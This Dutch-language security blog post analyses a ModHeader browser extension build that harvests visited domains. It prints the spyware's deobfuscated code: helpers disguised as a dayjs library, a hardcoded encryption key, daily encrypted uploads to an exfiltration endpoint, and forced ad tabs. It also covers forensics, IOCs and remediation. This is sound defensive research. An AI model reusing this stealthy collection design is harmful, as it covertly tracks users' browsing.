ModHeader-malware ontleed: de slapende spyware die Google verwijderde
Laatst bijgewerkt juli 12, 2026 • 15 min read • 195 views
Meer dan 800.000 mensen vertrouwden deze extensie. Tot Chrome hem op een ochtend uitschakelde en markeerde als malware. Google gaf echter geen reden. Geen woord over wat de extensie deed, en geen woord over welke data risico liep.
Die extensie is ModHeader, een populaire developertool die HTTP-headers herschrijft op elke site die je bezoekt. Een malware-flag is hier dus een serieuze zaak. Als reactie haalden we de verwijderde build van schijf en reversten hem. Deze ModHeader-malware-analyse loopt de hele zaak door: de verborgen pipeline, het forensisch onderzoek en de indicators of compromise.
TL;DR
Eerst de korte versie. De details volgen hieronder.
Wat: Een ModHeader-build (
idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) bevatte een verborgen spyware-SDK. Opvallend: dat ID is de officiële ModHeader-listing, en de bestanden droegen Chrome Web Store-handtekeningen.Gedrag: Hij verzamelt de domeinen die je bezoekt. Vervolgens versleutelt hij de lijst met AES-GCM. Tot slot POST hij de data één keer per dag naar
api.stanfordstudies.com/app/log.Schuilplaats: De kwaadaardige helpers zitten in een bestand met de naam
dayjs.min-*.js. De payload doet zich met andere woorden voor als een datumlibrary.Status: De collector wordt slapend meegeleverd, achter een lege allowlist (
$w = []). Toch zijn het endpoint, de sleutel en de scheduler allemaal aanwezig.Command-and-control: Die is er niet om te monitoren. De upload is eenrichtingsverkeer, dus de server kan geen commando's terugsturen.
Ook adware: Bovenop de spyware opent hij een advertentietabblad bij elke update en toont hij in-app advertenties. Dat gedrag gaat zelfs af op beheerde enterprise-machines.
Bereik: ModHeader heeft 800.000+ gebruikers op Chrome, plus een grote Edge-basis. Omdat de payload meelift op de officiële listing, valt de hele installed base binnen scope.
Recon: De exfil-host verschuilt zich achter een nep-front "Stanford Studies - Research" en een Lark-mailbox. Daarnaast wijzen meerdere zwakke signalen op een Chineestalige operator.
Forensisch: Op de onderzochte machine is de spyware nooit afgegaan. Wel had de extensie lokaal de volledige HTTP-headers van al het browsen opgepot.
Lees verder voor hoe we elk van deze feiten hebben gevonden.
Achtergrond: waarom een ModHeader-malware-flag ertoe doet
ModHeader is een populaire tool. Developers gebruiken hem om HTTP-request- en responseheaders aan te passen. Daarom heeft hij brede toegang tot je verkeer nodig. Die toegang is normaal voor zijn taak. Maar het maakt de extensie ook een doelwit met hoge waarde.
Een vertrouwde extensie die gemarkeerd wordt voor malware is het interessante geval. Of een kloon draagt het merk, of een vertrouwde extensie bevat nu een geïnjecteerde payload. Beide patronen duiken vaak op bij supply-chain-aanvallen via browserextensies. Daarom behandelt deze ModHeader-malware-analyse de flag als een aanwijzing, niet als een vonnis.
Waar de bestanden staan
De verwijderde extensie stond nog op schijf. Het exacte pad hangt af van je browser en besturingssysteem. Op Chrome kijk je hier:
Chrome
macOS : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
Linux : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
Edge levert dezelfde payload onder een ander ID. Check daar dus ook:
Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
macOS : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
Linux : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
ModHeader is niet gepubliceerd op Firefox, dus er is geen Mozilla-add-on om te checken.
Eerste blik: manifest en permissies
We begonnen met het manifest. De permissies laten je snel de blast radius zien.
// manifest.json (ingekort)
{
"name": "ModHeader - Modify HTTP headers",
"version": "7.0.18",
"author": "modhader@@", // let op de typefout
"manifest_version": 3,
"content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
"host_permissions": ["<all_urls>"],
"permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
"update_url": "https://clients2.google.com/service/update2/crx"
}
De set permissies is breed. Hij omvat <all_urls>, webRequest, declarativeNetRequest, scripting en een content script op elke pagina. Voor een headertool is die scope te verwachten. Toch betekent het dat een kwaadaardige build je webverkeer al in handen heeft. Opvallend: het veld author vermeldt modhader@@. Die typefout komt in de code terug als modhader-tool-root.
De verklikker: een domein dat niet van de vendor is
Vervolgens haalden we elke URL-literal uit de bundles. Het is de snelste triagestap voor geobfusqueerde code.
De meeste resultaten wijzen naar modheader.com, de echte vendor. Eén host valt echter uit de toon:
https://api.stanfordstudies.com/app/log
Een "Stanford studies"-domein heeft niets te zoeken in een headertool. Bovendien is /app/log een generiek ingest-pad. Dat werd dus de draad om aan te trekken. Hij leeft in één bestand: assets/src/background-94ad634d.js.
Obfuscatie: ModHeader-malware verstopt in een neppe dayjs
De payload importeert zijn helpers uit wat eruitziet als de datumlibrary.
import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";
Maar die exports hebben niets met datums te maken. Het zijn operationele spyware-helpers.
// in het bestand met de naam dayjs.min-*.js
const cl = () => { // geëxporteerd als sf -> browser-id
const h = navigator.userAgent.toLowerCase();
return h.indexOf("edg/") !== -1 ? "edge"
: h.indexOf("chrome") !== -1 ? "chrome"
: h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} } // geëxporteerd als af -> host uitlezen
const hl = h => new Promise(i => setTimeout(i, h)); // geëxporteerd als u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate()); // geëxporteerd als Za -> middernacht
Dit is bewuste misleiding. Een reviewer scant de imports, ziet "dayjs" en gaat verder. Als gevolg passeren de ModHeader-malware-helpers de review recht onder ieders neus.
Hoe de exfiltratie-pipeline van de ModHeader-malware werkt
Het diagram hieronder toont de volledige flow, van browsen tot upload. Alle symbolen hieronder zijn de echte geminificeerde namen. Na elk blok volgt gedeobfusqueerde pseudocode.

Exfiltratie-pipeline van de ModHeader-malware: domeinen verzamelen, AES-GCM-versleuteling en dagelijkse upload naar api.stanfordstudies.com
Stap 1: identiteit en cryptomateriaal
Eerst zet de payload een sleutel, een endpoint en een fingerprint klaar.
let qo; // de CryptoKey
(async () => {
qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();
const qw = "https://api.stanfordstudies.com/app/log";
const $w = []; // browser-allowlist (leeg -> slapend)
const Yw = "mod盐header"; // fingerprint-salt, let op het CJK-teken 盐 ("zout")
const Hw = async () => { // fp = SHA-256(huidige tijd als string)
const r = new Date().getTime().toString();
return await kr(r, "SHA-256");
};
Twee dingen zijn hier van belang.
De "versleuteling" is obfuscatie, geen bescherming. De AES-GCM-sleutel wordt in cleartext meegeleverd. Iedereen met de extensie kan de payload dus ontsleutelen. Zijn enige taak is de body verbergen voor een oppervlakkige netwerkinspectie.
De fingerprint is een stabiele tracking-ID. Het is
SHA-256(Date.now()). De code genereert hem één keer en slaat hem daarna op. Daardoor werkt hij als een willekeurige, persistente identifier.
Stap 2: de host van elke navigatie verzamelen
Vervolgens registreert de collector domeinen. Hij indexeert ze op een versleutelde waarde.
async function Zw(url) {
const domain = af(url); // new URL(url).host
if (domain === globalThis.lastChangeDomain) return;
globalThis.lastChangeDomain = domain;
const { settingDB, domainDB, fp, aesIv } = await jw();
const enc = await Ho.encrypt(qo, domain, aesIv); // versleutel de hostname met AES-GCM
const count = await domainDB.get(enc, 0);
await domainDB.put(enc, count + 1); // versleuteld-domein -> bezoekteller
await Qw(domainDB, settingDB, aesIv); // eventueel uploaden
}
De store mapt dus elke versleutelde hostname op een teller. Kort gezegd komt de operator te weten welke sites je bezoekt en hoe vaak. Volledige URL's en paden worden hier niet verzameld. Alleen de host.
Stap 3: de dagelijkse upload, met jitter per fingerprint
Daarna bepaalt de code wanneer er verstuurd wordt. Hij uploadt hooguit één keer per dag. Bovendien wacht hij op een vast tijdstip dat uniek is voor jouw fingerprint.
async function zw() {
const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10); // decimale digest
const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // uur in [7, 15)
const now = new Date();
return Math.round((now - Za(now)) / 1000) / 3600 > n; // pas na het uur van deze installatie
}
Deze jitter is slim. Elk slachtoffer uploadt op een ander tijdstip. Daardoor is het verkeer lastiger te spotten op een netwerkmonitor. Na een geslaagde verzending wist de code de lokale store om bewijs te verwijderen.
Stap 4: de kill switch is een lege allowlist
Tot slot hangt de hele keten aan de tab-lifecycle. Eén check zet hem echter volledig stil.
chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });
async function Jw(tab, change, info) {
const browser = sf();
if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- de poort
const url = change.url || info.url;
if (!url) return;
await Zw(url); // registreer het domein
}
Hier is $w leeg. Daarom is $w.indexOf(browser) altijd -1. Als gevolg keert de check altijd terug en draait Zw nooit. In deze build is de collector aanwezig maar slapend. Omdat $w een hardcoded constante is, vereist inschakelen een nieuwe versie. De echte trigger is met andere woorden een auto-update.
Wat de ModHeader-malware niet doet
Precies zijn over afwezigheid telt ook. We checkten dus op het ergste gedrag en vonden dat niet.
Geen remote code execution. Er is geen
eval, geen misbruik vannew Functionen geenimport("https://...").Geen credential-diefstal in het exfil-pad. De upload draagt hostnames, de fingerprint en het browsertype. Hij verstuurt geen cookies of pagina-inhoud.
Cookies worden alleen gemeten, niet verstuurd. Een metrics-routine leest
document.cookie.lengthvoor een UI met een opslagschatting. De cookiewaarde verlaat de pagina nooit.Opgevangen headers blijven lokaal. De header-listeners schrijven naar lokale opslag voor de eigen history-weergave van de extensie.
Het was ook adware: advertentietabbladen bij elke update
De spyware was slapend. De adware niet. Gebruikers meldden dat er telkens opnieuw advertentietabbladen openden, zelfs op dichtgetimmerde bedrijfsmachines. De code legt uit waarom.
Bij elke update forceert de extensie een nieuw actief tabblad naar een affiliate-netwerk.
chrome.runtime.onInstalled.addListener(async (r) => {
// ... zet ook een uninstall-URL die extensions-hub.com pingt ...
if (r.reason === "install") {
// install-tab opent alleen als er geen beheerde (enterprise) profielen zijn
if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
}
if (r.reason === "update") {
// hier geen check, dus dit gaat af bij ELKE update, ook op beheerde machines
chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
}
});
Twee dingen vallen op.
Elke update opent een tabblad. Extensies updaten stilletjes en vaak. Dus komt het advertentietabblad steeds opnieuw terug, wat overeenkomt met de meldingen.
Enterprise-machines worden niet gespaard. Het install-tabblad wordt overgeslagen als er beheerde profielen zijn. Het update-tabblad heeft echter geen zo'n check. Daarom krijgen bedrijfsdeployments alsnog de advertentietabbladen.
Er is een tweede advertentiekanaal in de extensie zelf. De popup haalt ad-instellingen op bij de vendor en kan advertenties tonen of sluiten.
GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad
De UI benoemt het model zelfs: "Advertenties tijdelijk gepauzeerd. Om advertenties permanent te verwijderen, overweeg te upgraden naar een betaald plan, of downgrade naar een beperkt plan om advertenties af te melden."
De extensie leverde dus aangegeven adware bovenop de verborgen spyware. De twee staan los van elkaar. De adware is zichtbaar en irritant, terwijl de spyware stil is. Samen verklaren ze zowel de klachten van gebruikers als de malware-flag.
Forensisch: is de ModHeader-malware ooit afgegaan?
De IndexedDB van de extensie overleefde de verwijdering. Hij woog zo'n 178 MB.
~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
We scanden hem dus op upload-markeringen.
De resultaten waren duidelijk:
stanfordstudiesgaf nul hits over alle 178 MB.lastUploadDateenuploadRecordgaven nul hits.De
temp-domeinstore was praktisch leeg.
Op dit profiel heeft de collector dus nooit een domein geregistreerd en nooit geüpload. Dat komt exact overeen met de slapende $w = []-poort. Kort gezegd: je lijst met bezochte domeinen heeft de machine niet verlaten.
De verrassing van 178 MB: een lokale headerhoard
Eén ding vulde echter wél 178 MB. De eigen "history"-functie van de extensie sloeg de volledige request- en responseheaders van elke pagina op. De dominante keys waren requestHeaders, responseHeaders, details en tabStartTime.
Deze data heeft de schijf nooit verlaten. Toch is ze gevoelig in rust. Headers bevatten vaak Authorization-tokens, sessiecookies en interne URL's. Wis deze store dus ongeacht of de spyware is afgegaan.
Waar is de command-and-control?
Veel lezers stellen een terechte vraag. Is er een C2-kanaal om te monitoren? Kort gezegd: nee.
De upload is strikt eenrichtingsverkeer. De response-body van de fetch wordt nooit gelezen. Er is geen .json(), geen .text() en geen .ok-check op het antwoord. Bovendien zijn de operationele constanten hardcoded en worden ze nooit door een server opnieuw toegewezen. Daarom is api.stanfordstudies.com een drop box, geen controller. Hij kan de extensie geen opdrachten geven.
Het echte controlekanaal is de auto-update van de extensie. Om de slapende collector live te zetten, moet een operator een nieuwe versie uitbrengen. Dat is precies het vector dat de stores neutraliseren wanneer ze een extensie delisten.
Domein-recon: is dit ModHeader-malware-endpoint echt kwaadaardig?
We stopten niet bij de code. We profileerden het exfil-domein met passieve en actieve recon. Dit is wat de infrastructuur zelf onthult.
api.stanfordstudies.com is een vermomd exfil-endpoint
Ten eerste is de naamgeving misleidend. Het publieke front op www.stanfordstudies.com draagt de titel "Stanford Studies - Research". Het heeft echter geen enkele band met Stanford University. Bovendien is de pagina een lege huls. Er is geen onderzoeksorganisatie, geen privacybeleid en geen contact. Een echt dataverzamelingsonderzoek maakt die drie daarentegen wél openbaar.
Ten tweede gedraagt de API-host zich als een drop box, niet als een website.
Het domein is aangemaakt op 2022-05-09 via Squarespace. De WHOIS is privacy-afgeschermd.
De mail loopt via
larksuite.com(Lark / Feishu). Dat wijst op een Chineestalige operator. Opvallend: dat matcht met de string盐("zout") die in de code is ingebakken.api.stanfordstudies.comresolvet naar één AWS EC2-host (3.147.61.167, regio us-east-2).Een probe van het root-adres liep in een timeout. De host beantwoordt dus alleen zijn ingest-pad, geen normaal webverkeer.
Tot slot heeft urlscan.io records van precies het endpoint
api.stanfordstudies.com/app/log. Ook zijn er scans van de host die teruggaan tot november 2023.
Bij elkaar is dit een verborgen ingest-endpoint, opgetut als academisch onderzoek. Daarom beoordelen we het als kwaadaardig.
Waar de infrastructuur vandaan komt
Vervolgens traceerden we de hosting en de geschiedenis ervan. Het resultaat is een commodity-, privacy-afgeschermde opzet met een langer verleden dan het papierwerk suggereert.
Host. Het endpoint draait op één AWS EC2-instance,
3.147.61.167, met reverse DNSec2-3-147-61-167.us-east-2.compute.amazonaws.com. Dat plaatst het in AWSus-east-2(Columbus, Ohio, AS16509 Amazon).Ouder dan het lijkt. WHOIS vermeldt een aanmaakdatum in 2022. Certificate transparency toont echter certificaten voor het domein die teruggaan tot 2017. De naam is dus ouder dan de huidige registratie.
Nog steeds live. Het nieuwste certificaat is uitgegeven in maart 2026. Ondertussen registreerde urlscan.io het
/app/log-endpoint tot in 2025 en opnieuw in juli 2026.Een echte operatie. Naast
apienwwwheeft het domein subdomeinendev,devlogendevos. Dat is een onderhouden dev- en ops-opzet, geen wegwerpding.
Toch is de registrar-WHOIS privacy-afgeschermd, en de servers zitten op gedeelde AWS-ranges. Het spoor stopt daarom vlak voor een naam.
Supply-chain-context: dit is het officiële ModHeader-ID
Eén detail verhoogt de inzet. Het extensie-ID idgpnmonknjnojddfkpgkljpfnnfcklj is de officiële ModHeader-listing, die meer dan 800.000 gebruikers bedient. Bovendien werd de build geleverd met Chrome Web Store-handtekeningen (_metadata/verified_contents.json). Omdat Chrome weigert gemanipuleerde bestanden te draaien, is de geanalyseerde code de gesigneerde distributie, geen lokaal aangepaste kloon.
We kunnen echter niet uit het binary alleen bewijzen wie de payload heeft toegevoegd. Het kan een eigendomsoverdracht weerspiegelen, een geïnjecteerde monetization-SDK, of een beslissing van de vendor. Dat patroon is breed gedocumenteerd in de sector. Daarom presenteren we het bewijs en laten we de auteurschapsvraag open.
Oordeel per domein
Domein | Rol in de ModHeader-malware | Infrastructuur | Oordeel |
|---|---|---|---|
| Ingest voor versleutelde domein-harvesting | AWS EC2, root onbereikbaar, "Stanford"-vermomming, Lark-mail | Kwaadaardig |
| Adware: advertentietabblad geopend bij elke update | AWS S3 + CloudFront, affiliate-SaaS, gedeeld over extensies | Privacy-schendende adware |
| Cloud-sync van de vendor (ter contrast getoond) | AWS + Google Workspace, transparant | Legitiem |
Bereik en attributie: wie loopt risico, en wie zit erachter?
Hoeveel gebruikers lopen risico
De blast radius is groot, omdat dit de hoofdlisting is. Hij beslaat ook twee browsers.
Chrome: 800.000+ installaties, gepubliceerd onder "ModHeader".
Edge: dezelfde extensie wordt geleverd onder ID
opgbiafapkbbnbnjcdomjaghbckfkglc, met een eigen grote installed base. Microsoft verwijderde hem op 2026-07-03 uit de Edge Add-ons-store.Firefox: er bestaat geen officiële ModHeader-add-on, dus Firefox-gebruikers zijn niet getroffen.
Beoordeling: 2,91 sterren uit 1.226 stemmen. Dat is ongewoon laag voor een langlopende dev-tool.
Vermelde talen: Engels en Vereenvoudigd Chinees (
zh-CN).Laatste listing-update: 2026-07-01, wat overeenkomt met de geanalyseerde v7.0.18-build.
De lage beoordeling is niet toevallig. Recente reviews markeren de extensie al voor adware-gedrag en affiliate-advertenties. Die advertenties zijn echter aangegeven, en de extensie biedt een opt-out. Ze vormen dus een aparte, zichtbare klacht. De stanfordstudies.com-collector is het tegenovergestelde. Hij is verborgen, versleuteld en biedt geen melding en geen opt-out. Haal de twee dus niet door elkaar: de aangegeven advertenties zijn een vertrouwensprobleem, terwijl de verborgen domein-harvesting de echte spyware is.
Signalen over de threat actor (lage zekerheid)
We kunnen de operator maar losjes schetsen. Belangrijk: we noemen geen groep, en geen van deze signalen is bewijs.
Mail op Lark. Het exfil-domein routeert e-mail via
larksuite.com(Lark / Feishu), een suite die veel voorkomt bij Chineestalige teams.Een Chinese string in de code. De fingerprint-salt bevat het teken
盐, wat "zout" betekent.Chineestalig oppervlak. De listing levert een Vereenvoudigd-Chinees locale mee, en het content script maakt een uitzondering voor
baidu.com.Een false-flag-front. De "Stanford Studies"-pagina leent de naam van een vertrouwde Amerikaanse universiteit. Dat is duidelijk misleiding, geen echte affiliatie.
Bij elkaar wijzen deze signalen zwak richting een Chineestalige operator. Toch draait de infrastructuur op AWS en is de WHOIS privacy-afgeschermd. We kunnen het daarom niet aan een specifieke actor koppelen op basis van open bronnen alleen.
Impactbeoordeling
Hier is het risico in één oogopslag.
Vector | Status in v7.0.18 | Blootgestelde data | Ernst |
|---|---|---|---|
Domein-harvesting naar | Slapend; nooit afgegaan | Bezochte hostnames, fingerprint, browser | Hoge capability |
Advertentietabbladen + in-app advertenties | Actief | Nieuw tabblad bij elke update, incl. beheerde machines | Middel (ongewenst) |
Lokale headerhistory | Actief, alleen lokaal | Volledige headers van al het browsen | Middel in rust |
Permissie-bereik | In handen | Al het HTTP-verkeer lezen/wijzigen | Hoog potentieel |
In gewone taal: op deze machine is niets geëxfiltreerd. Toch bevatte de ModHeader-malware een complete, van sleutel en endpoint voorziene spyware-pipeline. Hij was één code-wijziging verwijderd van actief. Ondertussen sloeg hij lokaal gevoelige headerdata op. Die combinatie is een redelijke basis voor een takedown.
Detectie en remediatie
Als je een getroffen gebruiker bent
Volg deze stappen in volgorde.
Bevestig dat de browser de extensie heeft uitgeschakeld. Chrome en Edge doen dit meestal automatisch.
Verwijder de achtergebleven opslagdirectory's hieronder.
Blokkeer en log DNS voor
api.stanfordstudies.com.Herinstalleer een headertool alleen vanuit een bron die je vertrouwt.
Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Op Edge staan dezelfde mappen onder Microsoft Edge/ in plaats van Google/Chrome/, en is het extensie-ID opgbiafapkbbnbnjcdomjaghbckfkglc.
Als je een fleet verdedigt
Gebruik deze hunts en heuristieken.
Grep uitgepakte extensiedirectory's op de IOC-strings hieronder.
Alarmeer op elke extensie die een ondoorzichtige, versleutelde body POST naar een domein dat niet van de vendor is.
Markeer operationele helpers die geëxporteerd worden uit een vendored library-bestand als een code smell.
Indicators of Compromise
Gebruik deze IOC's om elders naar dezelfde ModHeader-malware-SDK te jagen.
Netwerk
api.stanfordstudies.com (spyware-exfil: POST /app/log)
www.extensions-hub.com (adware: advertentietabblad bij elke update)
modheader.com/api/ad-settings (adware: in-app advertentieconfig)
Extensie
Chrome ID : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox : no official ModHeader add-on on AMO
Name : ModHeader - Modify HTTP headers
Version : 7.0.18
Statische strings
Hardcoded AES-GCM-sleutel : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint-salt : mod盐header (bevat U+76D0 盐)
Exfil-endpoint : https://api.stanfordstudies.com/app/log
Bestanden (Vite-hashes van deze build)
assets/src/background-94ad634d.js (payload)
assets/dayjs.min-6a736ee8.js (vermomde helpers)
Symbolen-map
Ter referentie, hier is de map van geminificeerd naar betekenis.
Geminificeerd | Betekenis |
|---|---|
| exfil-URL |
| browser-allowlist-poort (leeg = slapend) |
| fingerprint-salt |
| geïmporteerde AES-GCM-sleutel |
|
|
| registreer een bezocht domein |
| upload-beslissing + wissen-na-succes |
| tijdstip-poort per fingerprint |
| browser-id / host / middernacht / sleep |
Verder lezen
Voor bredere context over hoe vertrouwde extensies vijandig worden, zie de volgende externe rapporten.
Deze analyse is statisch plus on-disk-forensisch onderzoek van één geïnstalleerde build. We claimen geen attributie. Kun je bevestigen of de officiële Web Store precies deze build heeft geleverd? Neem dan contact op met HackIndex Research.